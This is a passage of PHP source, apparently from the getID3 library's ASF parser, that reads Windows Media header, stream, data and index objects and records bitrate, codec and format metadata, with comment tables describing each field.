								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = '';
								do {
									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
									$wm_picture_offset += 2;
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair;
								} while ($next_byte_pair !== "\x00\x00");

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset);
								unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);

								$imageinfo = array();
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
								$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo);
								unset($imageinfo);
								if (!empty($imagechunkcheck)) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
								}
								if (!isset($thisfile_asf_comments['picture'])) {
									$thisfile_asf_comments['picture'] = array();
								}
								$thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']);
*/
								break;

							default:
								switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
									case 0: // Unicode string
										if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') {
											$thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
										}
										break;

									case 1:
										break;
								}
								break;
						}

					}
					break;

				case GETID3_ASF_Stream_Bitrate_Properties_Object:
					// Stream Bitrate Properties Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object
					// Object Size                  QWORD        64              // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header
					// Bitrate Records Count        WORD         16              // number of records in Bitrate Records
					// Bitrate Records              array of:    variable        //
					// * Flags                      WORD         16              //
					// * * Stream Number            bits         7  (0x007F)     // number of this stream
					// * * Reserved                 bits         9  (0xFF80)     // hardcoded: 0
					// * Average Bitrate            DWORD        32              // in bits per second

					// shortcut
					$thisfile_asf['stream_bitrate_properties_object'] = array();
					$thisfile_asf_streambitratepropertiesobject       = &$thisfile_asf['stream_bitrate_properties_object'];

					$thisfile_asf_streambitratepropertiesobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_streambitratepropertiesobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_streambitratepropertiesobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_streambitratepropertiesobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_streambitratepropertiesobject['bitrate_records_count']     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F;
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
					}
					break;

				case GETID3_ASF_Padding_Object:
					// Padding Object: (optional)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Padding object - GETID3_ASF_Padding_Object
					// Object Size                  QWORD        64              // size of Padding object, including 24 bytes of ASF Padding Object header
					// Padding Data                 BYTESTREAM   variable        // ignore

					// shortcut
					$thisfile_asf['padding_object'] = array();
					$thisfile_asf_paddingobject     = &$thisfile_asf['padding_object'];

					$thisfile_asf_paddingobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_paddingobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_paddingobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_paddingobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_paddingobject['padding_length']            = $thisfile_asf_paddingobject['objectsize'] - 16 - 8;
					$thisfile_asf_paddingobject['padding']                   = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']);
					$offset += ($NextObjectSize - 16 - 8);
					break;

				case GETID3_ASF_Extended_Content_Encryption_Object:
				case GETID3_ASF_Content_Encryption_Object:
					// WMA DRM - just ignore
					$offset += ($NextObjectSize - 16 - 8);
					break;

				default:
					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
					if ($this->GUIDname($NextObjectGUIDtext)) {
						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
					}
					$offset += ($NextObjectSize - 16 - 8);
					break;
			}
		}
		if (isset($thisfile_asf_streambitratepropertiesobject['bitrate_records_count'])) {
			$ASFbitrateAudio = 0;
			$ASFbitrateVideo = 0;
			for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
				if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) {
					switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) {
						case 1:
							$ASFbitrateVideo += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
							break;

						case 2:
							$ASFbitrateAudio += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
							break;

						default:
							// do nothing
							break;
					}
				}
			}
			if ($ASFbitrateAudio > 0) {
				$thisfile_audio['bitrate'] = $ASFbitrateAudio;
			}
			if ($ASFbitrateVideo > 0) {
				$thisfile_video['bitrate'] = $ASFbitrateVideo;
			}
		}
		if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) {

			$thisfile_audio['bitrate'] = 0;
			$thisfile_video['bitrate'] = 0;

			foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) {

				switch ($streamdata['stream_type']) {
					case GETID3_ASF_Audio_Media:
						// Field Name                   Field Type   Size (bits)
						// Codec ID / Format Tag        WORD         16              // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure
						// Number of Channels           WORD         16              // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure
						// Samples Per Second           DWORD        32              // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure
						// Average number of Bytes/sec  DWORD        32              // bytes/sec of audio stream  - defined as nAvgBytesPerSec field of WAVEFORMATEX structure
						// Block Alignment              WORD         16              // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure
						// Bits per sample              WORD         16              // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure
						// Codec Specific Data Size     WORD         16              // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure
						// Codec Specific Data          BYTESTREAM   variable        // array of codec-specific data bytes

						// shortcut
						$thisfile_asf['audio_media'][$streamnumber] = array();
						$thisfile_asf_audiomedia_currentstream      = &$thisfile_asf['audio_media'][$streamnumber];

						$audiomediaoffset = 0;

						$thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16));
						$audiomediaoffset += 16;

						$thisfile_audio['lossless'] = false;
						switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) {
							case 0x0001: // PCM
							case 0x0163: // WMA9 Lossless
								$thisfile_audio['lossless'] = true;
								break;
						}

						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { // @phpstan-ignore-line
							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
									$thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate'];
									$thisfile_audio['bitrate'] += $dataarray['bitrate'];
									break;
								}
							}
						} else {
							if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) {
								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8;
							} elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) {
								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate'];
							}
						}
						$thisfile_audio['streams'][$streamnumber]                = $thisfile_asf_audiomedia_currentstream;
						$thisfile_audio['streams'][$streamnumber]['wformattag']  = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag'];
						$thisfile_audio['streams'][$streamnumber]['lossless']    = $thisfile_audio['lossless'];
						$thisfile_audio['streams'][$streamnumber]['bitrate']     = $thisfile_audio['bitrate'];
						$thisfile_audio['streams'][$streamnumber]['dataformat']  = 'wma';
						unset($thisfile_audio['streams'][$streamnumber]['raw']);

						$thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2));
						$audiomediaoffset += 2;
						$thisfile_asf_audiomedia_currentstream['codec_data']      = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']);
						$audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size'];

						break;

					case GETID3_ASF_Video_Media:
						// Field Name                   Field Type   Size (bits)
						// Encoded Image Width          DWORD        32              // width of image in pixels
						// Encoded Image Height         DWORD        32              // height of image in pixels
						// Reserved Flags               BYTE         8               // hardcoded: 0x02
						// Format Data Size             WORD         16              // size of Format Data field in bytes
						// Format Data                  array of:    variable        //
						// * Format Data Size           DWORD        32              // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure
						// * Image Width                LONG         32              // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure
						// * Image Height               LONG         32              // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure
						// * Reserved                   WORD         16              // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure
						// * Bits Per Pixel Count       WORD         16              // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure
						// * Compression ID             FOURCC       32              // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure
						// * Image Size                 DWORD        32              // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure
						// * Horizontal Pixels / Meter  DWORD        32              // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure
						// * Vertical Pixels / Meter    DWORD        32              // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure
						// * Colors Used Count          DWORD        32              // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure
						// * Important Colors Count     DWORD        32              // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure
						// * Codec Specific Data        BYTESTREAM   variable        // array of codec-specific data bytes

						// shortcut
						$thisfile_asf['video_media'][$streamnumber] = array();
						$thisfile_asf_videomedia_currentstream      = &$thisfile_asf['video_media'][$streamnumber];

						$videomediaoffset = 0;
						$thisfile_asf_videomedia_currentstream['image_width']                     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['image_height']                    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['flags']                           = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1));
						$videomediaoffset += 1;
						$thisfile_asf_videomedia_currentstream['format_data_size']                = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_width']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_height']     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['reserved']         = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']   = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']     = substr($streamdata['type_specific_data'], $videomediaoffset, 4);
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_size']       = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels']  = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['vertical_pels']    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['colors_used']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['codec_data']       = substr($streamdata['type_specific_data'], $videomediaoffset);

						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { // @phpstan-ignore-line
							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
									$thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate'];
									$thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate'];
									$thisfile_video['bitrate'] += $dataarray['bitrate'];
									break;
								}
							}
						}

						$thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']);

						$thisfile_video['streams'][$streamnumber]['fourcc']          = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'];
						$thisfile_video['streams'][$streamnumber]['codec']           = $thisfile_asf_videomedia_currentstream['format_data']['codec'];
						$thisfile_video['streams'][$streamnumber]['resolution_x']    = $thisfile_asf_videomedia_currentstream['image_width'];
						$thisfile_video['streams'][$streamnumber]['resolution_y']    = $thisfile_asf_videomedia_currentstream['image_height'];
						$thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'];
						break;

					default:
						break;
				}
			}
		}

		while ($this->ftell() < $info['avdataend']) {
			$NextObjectDataHeader = $this->fread(24);
			$offset = 0;
			$NextObjectGUID = substr($NextObjectDataHeader, 0, 16);
			$offset += 16;
			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8));
			$offset += 8;

			switch ($NextObjectGUID) {
				case GETID3_ASF_Data_Object:
					// Data Object: (mandatory, one only)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for Data object - GETID3_ASF_Data_Object
					// Object Size                      QWORD        64              // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1
					// File ID                          GUID         128             // unique identifier. identical to File ID field in Header Object
					// Total Data Packets               QWORD        64              // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1
					// Reserved                         WORD         16              // hardcoded: 0x0101

					// shortcut
					$thisfile_asf['data_object'] = array();
					$thisfile_asf_dataobject     = &$thisfile_asf['data_object'];

					$DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24);
					$offset = 24;

					$thisfile_asf_dataobject['objectid']           = $NextObjectGUID;
					$thisfile_asf_dataobject['objectid_guid']      = $NextObjectGUIDtext;
					$thisfile_asf_dataobject['objectsize']         = $NextObjectSize;

					$thisfile_asf_dataobject['fileid']             = substr($DataObjectData, $offset, 16);
					$offset += 16;
					$thisfile_asf_dataobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']);
					$thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8));
					$offset += 8;
					$thisfile_asf_dataobject['reserved']           = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_dataobject['reserved'] != 0x0101) {
						$this->warning('data_object.reserved (0x'.sprintf('%04X', $thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"');
						//return false;
						break;
					}

					// Data Packets                     array of:    variable        //
					// * Error Correction Flags         BYTE         8               //
					// * * Error Correction Data Length bits         4               // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000
					// * * Opaque Data Present          bits         1               //
					// * * Error Correction Length Type bits         2               // number of bits for size of the error correction data. hardcoded: 00
					// * * Error Correction Present     bits         1               // If set, use Opaque Data Packet structure, else use Payload structure
					// * Error Correction Data

					$info['avdataoffset'] = $this->ftell();
					$this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data
					$info['avdataend'] = $this->ftell();
					break;

				case GETID3_ASF_Simple_Index_Object:
					// Simple Index Object: (optional, recommended, one per video stream)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for Simple Index object - GETID3_ASF_Data_Object
					// Object Size                      QWORD        64              // size of Simple Index object, including 56 bytes of Simple Index Object header
					// File ID                          GUID         128             // unique identifier. may be zero or identical to File ID field in Data Object and Header Object
					// Index Entry Time Interval        QWORD        64              // interval between index entries in 100-nanosecond units
					// Maximum Packet Count             DWORD        32              // maximum packet count for all index entries
					// Index Entries Count              DWORD        32              // number of Index Entries structures
					// Index Entries                    array of:    variable        //
					// * Packet Number                  DWORD        32              // number of the Data Packet associated with this index entry
					// * Packet Count                   WORD         16              // number of Data Packets to sent at this index entry

					// shortcut
					$thisfile_asf['simple_index_object'] = array();
					$thisfile_asf_simpleindexobject      = &$thisfile_asf['simple_index_object'];

					$SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24);
					$offset = 24;

					$thisfile_asf_simpleindexobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_simpleindexobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_simpleindexobject['objectsize']                = $NextObjectSize;

					$thisfile_asf_simpleindexobject['fileid']                    =                  substr($SimpleIndexObjectData, $offset, 16);
					$offset += 16;
					$thisfile_asf_simpleindexobject['fileid_guid']               = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']);
					$thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8));
					$offset += 8;
					$thisfile_asf_simpleindexobject['maximum_packet_count']      = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
					$offset += 4;
					$thisfile_asf_simpleindexobject['index_entries_count']       = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
					$offset += 4;

					$IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']);
					for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) {
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
						$offset += 4;
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count']  = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
						$offset += 2;
					}

					break;

				case GETID3_ASF_Index_Object:
					// 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for the Index Object - GETID3_ASF_Index_Object
					// Object Size                      QWORD        64              // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header
					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between each index entry in ms.
					// Index Specifiers Count           WORD         16              // Specifies the number of Index Specifiers structures in this Index Object.
					// Index Blocks Count               DWORD        32              // Specifies the number of Index Blocks structures in this Index Object.

					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between index entries in milliseconds.  This value cannot be 0.
					// Index Specifiers Count           WORD         16              // Specifies the number of entries in the Index Specifiers list.  Valid values are 1 and greater.
					// Index Specifiers                 array of:    varies          //
					// * Stream Number                  WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
					// * Index Type                     WORD         16              // Specifies Index Type values as follows:
																					//   1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time.
																					//   2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object.
																					//   3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set.
																					//   Nearest Past Cleanpoint is the most common type of index.
					// Index Entry Count                DWORD        32              // Specifies the number of Index Entries in the block.
					// * Block Positions                QWORD        varies          // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed.
					// * Index Entries                  array of:    varies          //
					// * * Offsets                      DWORD        varies          // An offset value of 0xffffffff indicates an invalid offset value

					// shortcut
					$thisfile_asf['asf_index_object'] = array();
					$thisfile_asf_asfindexobject      = &$thisfile_asf['asf_index_object'];

					$ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24);
					$offset = 24;

					$thisfile_asf_asfindexobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_asfindexobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_asfindexobject['objectsize']                = $NextObjectSize;

					$thisfile_asf_asfindexobject['entry_time_interval']       = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;
					$thisfile_asf_asfindexobject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
					$offset += 2;
					$thisfile_asf_asfindexobject['index_blocks_count']        = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;

					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']);
					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
						$IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
						$offset += 2;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number']   = $IndexSpecifierStreamNumber;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']      = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
						$offset += 2;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']);
					}

					$ASFIndexObjectData .= $this->fread(4);
					$thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;

					$ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']);
					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
						$thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8));
						$offset += 8;
					}

					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']);
					for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) {
						for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
							$thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
							$offset += 4;
						}
					}
					break;


				default:
					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
					if ($this->GUIDname($NextObjectGUIDtext)) {
						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8));
					}
					$this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR);
					break;
			}
		}

		if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) {
			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
				switch ($streamdata['information']) {
					case 'WMV1':
					case 'WMV2':
					case 'WMV3':
					case 'MSS1':
					case 'MSS2':
					case 'WMVA':
					case 'WVC1':
					case 'WMVP':
					case 'WVP2':
						$thisfile_video['dataformat'] = 'wmv';
						$info['mime_type'] = 'video/x-ms-wmv';
						break;

					case 'MP42':
					case 'MP43':
					case 'MP4S':
					case 'mp4s':
						$thisfile_video['dataformat'] = 'asf';
						$info['mime_type'] = 'video/x-ms-asf';
						break;

					default:
						switch ($streamdata['type_raw']) {
							case 1:
								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
									$thisfile_video['dataformat'] = 'wmv';
									if ($info['mime_type'] == 'video/x-ms-asf') {
										$info['mime_type'] = 'video/x-ms-wmv';
									}
								}
								break;

							case 2:
								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
									$thisfile_audio['dataformat'] = 'wma';
									if ($info['mime_type'] == 'video/x-ms-asf') {
										$info['mime_type'] = 'audio/x-ms-wma';
									}
								}
								break;

						}
						break;
				}
			}
		}

		switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') {
			case 'MPEG Layer-3':
				$thisfile_audio['dataformat'] = 'mp3';
				break;

			default:
				break;
		}

		if (isset($thisfile_asf_codeclistobject['codec_entries'])) {
			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
				switch ($streamdata['type_raw']) {

					case 1: // video
						$thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);
						break;

					case 2: // audio
						$thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);

						// AH 2003-10-01
						$thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']);

						$thisfile_audio['codec']   = $thisfile_audio['encoder'];
						break;

					default:
						$this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']);
						break;

				}
			}
		}

		if (isset($info['audio'])) {
			$thisfile_audio['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
			$thisfile_audio['dataformat']         = (!empty($thisfile_audio['dataformat'])        ? $thisfile_audio['dataformat']         : 'asf');
		}
		if (!empty($thisfile_video['dataformat'])) {
			$thisfile_video['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
